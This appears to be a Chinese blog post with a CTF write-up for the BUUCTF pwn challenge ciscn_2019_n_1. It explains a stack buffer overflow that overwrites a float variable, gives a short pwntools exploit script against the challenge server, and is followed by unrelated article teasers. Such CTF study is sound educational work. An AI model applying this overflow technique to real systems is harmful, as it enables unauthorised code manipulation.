BUUCTF ciscn_2019_n_1 1

news/2024/5/19 21:56:30 标签: buuctf, ctf, pwn

分析

使用file命令查看文件信息
在这里插入图片描述

使用IDA64打开文件
在这里插入图片描述
进入func函数
在这里插入图片描述

如果 v2 等于 11.28125 就可以拿到flag
可以看到v1有栈溢出,并且v1在v2的上面,可以通过溢出v2来覆盖v1的值从而获取flag

首先v1是浮点数 11.28125 的二进制是 0x413480

exp

from pwn import *

context.arch = 'amd64'
p = remote('node4.buuoj.cn',26625)

p.sendline(flat([b'a'*(0x30-4) , 0x41348000]))

p.interactive()


http://www.niftyadmin.cn/n/5016489.html

相关文章

JAVA 从入门到起飞 day8 面向对象01

1.面向对象的介绍 老师的讲解: 面向:就相当于拿找 对象:能干活的东西 面向对象编程:拿东西过来做对应的事 我的理解: 让我们通过一个比喻来了解 JAVA 中的面向对象思想。 想象一下你正在建一座房子: 1. **类&#…

算法宝典——Java版本(持续更新)

目录 一、链表的算法题(目前9道) 1. 移除链表元素(思路:前后指针) 2. 反转一个单链表 (思路:头插法) 3. 链表的中间结点(思路:快慢指针) 4. 链…

树的引进以及二叉树的基础讲解——【数据结构】

W...Y的主页 😊 代码仓库分享 💕 当我们学习完前面的数据结构,难度也就会上升,但是这个也是非常重要的数据结构。今天我们来学习一种新的数据类型——树。 目录 树的概念以及结构 树的概念 树的相关概念 树的表示 树在实…

多线程与高并发——并发编程(7)

文章目录 七、JUC并发工具1 CountDownLatch应用&源码分析1.1 CountDownLatch介绍1.2 CountDownLatch应用1.3 CountDownLatch源码分析1.3.1 有参构造1.3.2 await 方法1.3.3 countDown方法2 CyclicBarrier应用&源码分析2.1 CyclicBarrier介绍2.2 CyclicBarrier应用2.3 Cy…

深入学习与探索:高级数据结构与复杂算法

文章目录 学习高级数据结构B树:数据库引擎的骨干线段树:高效的区间查询Trie树:高效的字符串检索 探索复杂算法领域图算法:解决复杂网络问题字符串匹配算法:处理文本搜索近似算法:在NP难题上取得近似解 结论…

Spring框架入门:构建你的第一个Web应用

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…

软考知识汇总-计算机系统

文章目录 1 计算器 1 计算器 算术逻辑单元(ALU):运算器重要组成部件,负责处理数据,实现对数据的算数运算和逻辑运算。累加寄存器(AC):简称累加器,为ALU提供数据并暂存运…

职场工作与生活

序言: 和很多在CSDN的博主一样,大家在工作之后就很少或者是不再回到CSDN,确实自己也一年多没上了。因为可能当初大家在这就是为了记录和分享当初自己学习技术的东西。而大家走出象牙塔开始工作后,发生了很大的转变。在国内…